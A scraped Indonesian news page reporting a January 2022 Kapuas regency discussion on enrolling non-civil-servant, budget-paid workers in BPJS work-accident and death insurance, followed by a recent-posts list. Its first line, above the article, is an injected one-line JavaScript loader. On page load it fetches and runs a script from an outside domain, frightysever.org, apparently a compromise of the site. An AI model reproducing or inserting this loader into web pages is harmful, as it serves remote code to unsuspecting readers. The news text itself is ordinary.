(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Penerima Upah Non ASN dan Bersumber APBD di Kapuas Harus Terdaftar JKK dan JKM


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menggelar Focus Group Discussion (FGD) optimalisasi program jaminan sosial ketenagakerjaan segmen penerima upah Non ASN dan penerima uang jasa upah bersumber dari APBD Kabupaten Kapuas, Rabu (26/1/2022).

FGD dibuka Sekretaris Daerah (Sekda) Kabupaten Kapuas Drs Septedy dihadiri Kepala Kantor BPJS Ketenagakerjaan Palangkaraya Budi Wahyudi, Asisten I Setda Kapuas Ilham Anwar, Kepala Dinas Sosial Kapuas Budi Kurniawan, Kepala Cabang BPJS Ketenagakerjaan Kapuas Agus Sutejo, dan Camat se Kabupaten Kapuas.

Sekda Kapuas meminta kepada para camat untuk segera menginventarisasi mantir dan damang termasuk juga para pekerja yang ada di kantor kecamatan, kantor pemerintahan kelurahan dan desa yang belum terdaftar dalam Jaminan Kecelakaan Kerja (JKK) dan Jaminan Kematian (JKM) BPJS Ketenagakerjaan.

“Dengan didaftarkannya di BPJS Ketenagakerjaan, jika terjadi sesuatu, baik kecelakaan maupun kematian, maka akan langsung dibayarkan santunan tersebut. Itu adalah manfaat diantaranya ketika para peserta yang termasuk dalam JKK dan JKM,” ungkap Sekda Kapuas.

 

Baca juga : Niat Mencari Daun Singkong, Perempuan di Cempaka Tercebur ke Sumur

Drs Septedy juga mengharapkan kepada seluruh Camat agar seluruh anggota BPD, perangkat desa, RT dan RW bisa masuk dalam kepesertaan BPJS Ketenagakerjaan.

“Semoga FGD kita hari ini akan melahirkan formulasi yang tepat dan dapat meningkatkan kepesertaan Non ASN baik JKK maupun JKM,” ucap Septedy.

Sementara itu, Kadinsos Kapuas Budi Kurniawan, perlu perlindungan bagi para pekerja khusus Non ASN yang menerima upah dari APBD Kabupaten Kapuas, maupun sumber dari pembiayaan resmi negara lainnya.

“Ini merupakan amanat dari Instruksi Presiden Nomor 2 tahun 2021 tentang optimalisasi perlindungan tenaga kerja yang penerima upah. Ada dua program besar perlindungan untuk kecelakaan kerja dan jaminan kematian, di Kabupaten Kapuas banyak pekerja Non ASN penerima upah bersumber dari APBD seperti tenaga kontrak, kepala desa, perangkat desa, kepala BPD dan ketua RT, Mantir Adat, Damang dan lain-lain,” beber Budi Kurniawan. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

1 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

2 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

2 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

4 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

4 jam ago

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

4 jam ago

This website uses cookies.